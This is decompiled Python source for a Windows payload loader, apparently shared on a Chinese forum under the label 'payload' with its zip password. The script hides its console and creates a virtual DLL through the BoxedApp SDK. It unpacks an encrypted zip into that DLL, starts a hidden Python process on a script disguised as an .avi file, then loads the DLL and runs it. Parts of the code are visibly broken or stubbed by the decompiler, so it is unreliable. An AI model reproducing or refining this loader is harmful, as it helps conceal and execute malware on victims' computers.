- import ctypes
- import os
- import zipfile
- TRUE = 1
- FALSE = 0
- GENERIC_WRITE = 1073741824
- FILE_SHARE_READ = 1
- FILE_SHARE_WRITE = 2
- CREATE_ALWAYS = 2
- FILE_ATTRIBUTE_NORMAL = 128
- STARTF_USESHOWWINDOW = 1
- SW_HIDE = 0
- SW_SHOW = 5
- kernel32 = ctypes.WinDLL('kernel32', True, **('use_last_error',))
- user32 = ctypes.WinDLL('user32', True, **('use_last_error',))
- def get_console_window():
- return kernel32.GetConsoleWindow()
- def show_window(window_handle, command):
- user32.ShowWindow(window_handle, command)
- class STARTUPINFO(ctypes.Structure):
- _fields_ = [
- ('cb', ctypes.c_ulong),
- ('lpReserved', ctypes.c_wchar_p),
- ('lpDesktop', ctypes.c_wchar_p),
- ('lpTitle', ctypes.c_wchar_p),
- ('dwX', ctypes.c_ulong),
- ('dwY', ctypes.c_ulong),
- ('dwXSize', ctypes.c_ulong),
- ('dwYSize', ctypes.c_ulong),
- ('dwXCountChars', ctypes.c_ulong),
- ('dwYCountChars', ctypes.c_ulong),
- ('dwFillAttribute', ctypes.c_ulong),
- ('dwFlags', ctypes.c_ulong),
- ('wShowWindow', ctypes.c_ushort),
- ('cbReserved2', ctypes.c_ushort),
- ('lpReserved2', ctypes.c_void_p),
- ('hStdInput', ctypes.c_void_p),
- ('hStdOutput', ctypes.c_void_p),
- ('hStdError', ctypes.c_void_p)]
- class PROCESS_INFORMATION(ctypes.Structure):
- _fields_ = [
- ('hProcess', ctypes.c_void_p),
- ('hThread', ctypes.c_void_p),
- ('dwProcessId', ctypes.c_ulong),
- ('dwThreadId', ctypes.c_ulong)]
- def start_process(python_executable, script_path):
- startupinfo = STARTUPINFO()
- process_information = PROCESS_INFORMATION()
- startupinfo.cb = ctypes.sizeof(startupinfo)
- startupinfo.dwFlags = STARTF_USESHOWWINDOW
- startupinfo.wShowWindow = SW_HIDE
- command_line = f'''"{python_executable}" "{script_path}"'''
- success = kernel32.CreateProcessW(None, command_line, None, None, False, 0, None, None, ctypes.byref(startupinfo), ctypes.byref(process_information))
- kernel32.CloseHandle(process_information.hProcess)
- kernel32.CloseHandle(process_information.hThread)
- class MemoryStream(ctypes.Structure):
- _fields_ = [
- ('buffer', ctypes.POINTER(ctypes.c_ubyte)),
- ('size', ctypes.c_size_t)]
-
- def __init__(self, initial_size = (1024,)):
- self.size = initial_size
- self.buffer = ctypes.c_ubyte * self.size()
-
- def write(self, data):
- data_size = len(data)
- new_size = self.size + data_size
- new_buffer = ctypes.c_ubyte * new_size()
- ctypes.memmove(new_buffer, self.buffer, self.size)
- ctypes.memmove(ctypes.addressof(new_buffer) + self.size, data, data_size)
- self.buffer = new_buffer
- self.size = new_size
-
- def get_data(self):
- return bytes(self.buffer[:self.size])
- def read_encrypted_zip(file_path, password, output_file_path):
- pass
- # WARNING: Decompyle incomplete
- if __name__ == '__main__':
- console_window = get_console_window()
- show_window(console_window, SW_HIDE)
- dll_path = os.path.abspath('bxsdk64.dll')
- bxsdk64 = ctypes.WinDLL(dll_path)
- bxsdk64.BoxedAppSDK_SetContext.argtypes = [
- ctypes.c_char_p]
- bxsdk64.BoxedAppSDK_SetContext.restype = None
- bxsdk64.BoxedAppSDK_Init.argtypes = []
- bxsdk64.BoxedAppSDK_Init.restype = None
- bxsdk64.BoxedAppSDK_EnableOption.argtypes = [
- ctypes.c_int,
- ctypes.c_int]
- bxsdk64.BoxedAppSDK_EnableOption.restype = None
- bxsdk64.BoxedAppSDK_CreateVirtualFileA.argtypes = [
- ctypes.c_char_p,
- ctypes.c_uint,
- ctypes.c_uint,
- ctypes.c_uint,
- ctypes.c_uint,
- ctypes.c_uint,
- ctypes.c_uint]
- bxsdk64.BoxedAppSDK_CreateVirtualFileA.restype = ctypes.c_void_p
- bxsdk64.BoxedAppSDK_Init()
- tmp_path = 'hello.dll'
- tmp_path_encoded = tmp_path.encode('utf-8')
- bxsdk64.BoxedAppSDK_CreateVirtualFileA(tmp_path_encoded, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
- read_encrypted_zip('hello.zip', 'laiba', tmp_path)
- current_dir = os.path.dirname(os.path.abspath(__file__))
- python_executable = os.path.join(current_dir, 'python_test.exe')
- script_path = os.path.join(current_dir, 'run_process.avi')
- start_process(python_executable, script_path)
- HELLO_path = os.path.abspath('hello.dll')
- hello_dll = ctypes.WinDLL(HELLO_path)
- hello_dll.StatRun.argtypes = []
- hello_dll.StatRun.restype = None
- hello_dll.StatRun()
复制代码
payload
密码laiba
|